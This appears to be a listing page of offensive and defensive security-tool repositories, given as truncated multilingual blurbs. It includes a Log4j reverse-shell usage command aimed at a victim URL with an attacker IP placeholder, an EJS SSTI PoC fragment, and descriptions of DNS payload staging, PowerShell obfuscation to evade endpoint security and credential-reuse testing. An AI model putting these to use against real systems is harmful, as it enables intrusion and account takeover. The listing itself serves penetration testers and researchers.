open-sesame

open-sesame 해커원HackerOne 공개 보고서 및 기타 버그 바운티 글을 포함합니다. 지루할 때 무작위로 공개된 해커원 보고서를 표시하는 Python 도구입니다. 자동으로 브라우저에서 보고서를 엽니다. 8,000개 이상의 공개된 해커원 보고서와 약 700개의 버그 바운티 글의 추가 단어 목록을 포함합니다. 보안 애호가와 버그 바운티 헌터를 위한 생산성 도구입니다. 효율적으로 사용하는 방법에 대한 아이디어를 담은 블로그를 여기에 작성했습니다. 오픈 세서미 시작하기! 추가 기능은 다음과 같습니다: 버그 바운티 글이 포함...

DNSStager

DNSStager란 무엇인가? DNSStager는 DNS를 사용하여 페이로드를 숨기고 전송하는 데 사용되는 Python 기반의 오픈 소스 프로젝트입니다. DNSStager는 악성 DNS 서버를 생성하여 도메인에 대한 DNS 요청을 처리하고, 페이로드를 청크로 분할하고 다양한 알고리즘을 사용하여 인코딩한 후 AAAA 또는 TXT 레코드와 같은 특정 레코드 요청에 대한 응답으로 페이로드를 반환합니다. DNSStager는 C 또는 GoLang으로 작성된 사용자 지정 에이전트를 생성할 수 있으며, 이 에이전트는 일련의 도메인을 확인하...

powerob

Powerob 레드팀 공격 시나리오를 위한 실시간 PowerShell 스크립트 난독화 도구입니다. 필요에 의해 제작되었습니다. 이 도구는 PowerShell 스크립트에서 발견되는 함수와 주석을 난독화합니다. 로드맵에는 변수 난독화가 포함되어 있습니다. 풀 리퀘스트와 협업을 환영합니다. 소개 최근 공격 시나리오에서 엔드포인트 보안을 우회할 필요에 의해 제작되었습니다. 권한 상승 시도 중에 PowerUp.ps1을 난독화하지 않고는 다운로드할 수 없었습니다. 기술적으로 v2이며, 주석을 제거하도록 업데이트되었습니다. 설치 git...

CVE-2022-29078

THM 챌린지: SSTI RCE 📜 설명 Node.js용 ejsaka Embedded JavaScript templates 패키지 3.1.6은 settingsview optionsoutputFunctionName에서 서버 측 템플릿 주입을 허용합니다. 이는 내부 옵션으로 구문 분석되며, 템플릿 컴파일 시 실행되는 임의의 OS 명령으로 outputFunctionName 옵션을 덮어씁니다. 📚 목차 📜 설명 🛠️ 설치 💁 참고 자료 POC http://localhost:3000/page?id=2&settingsview...

Vanquish

Vanquish – 셸에 접속하기 Vanquish는 Python으로 제작된 Kali Linux 기반 열거 오케스트레이터입니다. Vanquish는 Kali의 오픈소스 열거 도구를 활용하여 여러 능동적 정보 수집 단계를 수행합니다. 각 단계의 결과는 다음 단계로 전달되어 원격 셸을 획득하는 데 활용될 수 있는 취약점을 식별합니다. asciicast Vanquish 기능 다른 열거 스크립트와 비교하여 Vanquish가 특별한 점은 무엇인가요? 1. 멀티스레드 – 여러 명령을 동시에 실행하고 여러 호스트를 동시에 스캔합니다. 2. 구...

CVE-2024-0235

뱃지 라이선스 MIT 설치 1. Python3 및 pip 설치 여기 지침 이것을 이해하지 못한다면, 이 도구를 사용하면 안 됩니다 pip로 설치 pip install CVE-2024-0235 아래 명령어를 실행하여 확인 CVE-2024-0235 -h 구성 2. 취약점 탐지 시 즉시 알림을 받기 위해 Telegram API와 통합했습니다. Telegram 알림 CVE-2024-0235 --chatid 텔레그램을 열고 @CappricioSecuritiesToolsbot을 검색한 후 시작을 클릭하세요. 사용법 3. 이 도구는 여러 ...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell 사용법 For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPo...

PyStat

PyStat - Windows向け高度なNetstat Pythonバージョン2.7との互換性 機能 プロセスのリモートアドレスを確認 プロセスのリモートポートを確認 プロセスを使用しているユーザー、タイトル、PIDを確認 変更履歴: install.pyにPythonモジュールの自動インストールサポートを追加 インストールガイド: .zipファイルをダウンロード .zipファイルからpystatフォルダを任意のドライブに展開します。例: C:\tools\pystat C:\tools\pystatに移動し、SHIFTキーを押しながら右クリックして「ここでコマンドウィンドウを開く」を...

BSOD_bitlocker_recover

BitLocker VMK 캐빙 도구 이 Python 스크립트는 블루 스크린 오브 데스BSOD와 같은 메모리 덤프 파일에서 잠재적인 BitLocker 볼륨 마스터 키VMK를 추출하는 데 도움을 줍니다. BitLocker 암호화가 관련된 포렌식 조사에서 사용하도록 설계된 명령줄 유틸리티입니다. BSOD 덤프용으로 제작되었지만 디스크 이미지, 내보낸 할당되지 않은 디스크 공간에서도 작동합니다. 사용 및 키로 드라이브 마운트 데모:...

Karkinos

면책 조항 이것은 대학 시절에 만든 오래된 프로젝트입니다... 모든 코드는 진행하면서 즉석에서 작성되었으며, 계획된 것은 거의 없었습니다. 이 도구는 공격할 권한이 있는 애플리케이션/네트워크에서만 사용해야 합니다. 오용이나 손상에 대한 책임은 전적으로 사용자에게 있습니다. Karkinos란? Karkinos는 침투 테스트 및/또는 CTF 해킹을 위한 경량 '스위스 아미 나이프'입니다. Karkinos는 대학 웹 개발 프로젝트를 위해 만들어졌습니다; 자유롭게 기능을 추가해 주세요 : 현재 Karkinos는 다음을 제공합니다: 문...

webstor

WebStor 조직 내 취약한 웹 기술의 신속한 식별 WebStor는 MIT 라이선스 하에 Python으로 구현된 도구로, 조직의 모든 네트워크에 걸쳐 모든 웹사이트를 신속하게 열거하고, 해당 응답을 저장하며, 제로데이 취약점이 있는 것과 같은 알려진 웹 기술 및 버전을 쿼리하기 위한 도구입니다. 특히 중대형 규모의 분산 관리 조직에서 여러 관리자가 각기 다른 부서와 네트워크에 배포한 모든 웹 기술을 추적하는 것이 거의 불가능한 고유한 문제를 해결하기 위해 설계되었습니다. WebStor는 다음 작업을 수행하여 목표를 달성합니다...

AMDH

AMDH Android Mobile Device Hardening 안드로이드 모바일 기기 강화 - python3로 작성됨. Android 버전, PObY-A Privacy Owned by You - Android는 Play 스토어에서 이용 가능하며, 맬웨어 및 설정 스캔 기능을 제공합니다. 소스 코드는 여기에서 확인할 수 있습니다. 동기 AMDH는 Android 기기에 설치된 애플리케이션을 자동으로 스캔하고, 알려진 일부 맬웨어를 탐지하며, 프라이버시를 보호하기 위해 만들어졌습니다. 기능 CIS인터넷 보안 센터 Android ...

spyse.py

spyse.py Python API wrapper and command-line client for the tools hosted on spyse.com. "Spyse is a developer of complete DAAS Data-As-A-Service solutions for Internet security professionals, corporate and remote system administrators, SSL / TLS encryption certificate providers, data centers and...

spyse.py

spyse.py Python API 래퍼 및 spyse.com에 호스팅된 도구들을 위한 명령줄 클라이언트입니다. "Spyse는 인터넷 보안 전문가, 기업 및 원격 시스템 관리자, SSL/TLS 암호화 인증서 제공자, 데이터 센터 및 비즈니스 분석가를 위한 완전한 DAASData-As-A-Service 솔루션 개발사입니다. 모든 Spyse 온라인 솔루션은 정보 수집, 처리 및 집계를 위한 단일 플랫폼을 가진 주제별 서비스로 제공됩니다." - spyse.com 다음 API를 지원합니다: DNStable FindSubdomains...

Cr3dOv3r

Cr3dOv3r 자격 증명 재사용 공격에서 당신의 가장 친한 친구. Cr3dOv3r에 이메일을 입력하면 두 가지 간단하면서도 유용한 작업을 수행합니다: 해당 이메일의 공개 유출 정보를 검색하고, 유출에 대한 가장 유용한 세부 정보를 반환합니다HaveIBeenPwned API 사용. 또한 발견한 유출본에서 평문 비밀번호를 추출하려 시도합니다@GhostProjectME 이용. 이제 비밀번호 또는 유출된 비밀번호를 입력하면, 이 자격 증명을 널리 알려진 웹사이트예: Facebook, Twitter, Google 등에 대해 시도하여...

CVE-2021-34527

CVE-2021-34527 PrintNightmare PoC 👾 📝 설명 이 간단한 Python 스크립트는 SMB 프로토콜을 사용하여 대상 IP 주소와 포트에 페이로드를 전송할 수 있게 해줍니다. 교육 목적으로 SMB 익스플로잇 페이로드의 사용을 시연하기 위해 설계되었습니다. 페이로드는 특정 바이트 시퀀스를 포함하는 하드코딩된 SMB 메시지입니다. ⚠️ 중요 참고 사항 책임 있는 사용: 이 스크립트는 교육 목적으로만 제공됩니다. 승인되지 않았거나 악의적인 활동에 사용하지 마십시오. 페이로드: 스크립트에 포함된 페이로드는 샘플이며...

crawpy

Crawpy 파이썬으로 작성된 또 다른 콘텐츠 검색 도구입니다. 이 도구를 다른 도구와 차별화하는 점: 비동기 HTTP 요청을 빠르게 전송합니다 자동 보정 모드, 자체적으로 필터 적용 추가 플래그를 지원하는 재귀 스캔 모드 보고서 생성, 나중에 결과를 확인할 수 있습니다 여러 URL 스캔 실행 예시 자동 보정 및 재귀 모드를 활성화한 실행 예시 예제 보고서 예제 보고서는 다음에서 확인할 수 있습니다 https://morph3.blog/crawpy/example.html...

crawpy

Crawpy Yet another content discovery tool written in python. What makes this tool different than others: Sends asynchronous HTTP requests, fast Calibration mode, applies filters on its own Recursive scan mode with additional flags Report generation, you can later go and check your results Multipl...

APTRS

APTRS APTRSAutomated Penetration Testing Reporting System는 침투 테스터와 보안 조직을 위해 설계된 Python 및 Django 기반의 자동 보고 도구입니다. 이 도구는 사용자가 PDF 및 Excel 보고서를 직접 생성할 수 있게 하여 수동 접근 방식이 필요 없도록 하여 보고서 생성 과정을 간소화합니다. 또한 APTRS는 다양한 프로젝트 내 취약점을 체계적으로 모니터링하고 관리하는 방법을 제공합니다. APTRS로 침투 테스트 프로젝트를 체계적이고 효율적으로 유지하십시오. 문서 !No...

pe-bear

PE-bear PE-bear is a multiplatform reversing tool for PE files. Its objective is to deliver fast and flexible “first view” for malware analysts, stable and capable to handle malformed PE files. Signatures for PE-bear: SIG.txt updated: Oct 17, 2022 - contains signatures fromPEid's UserDB -...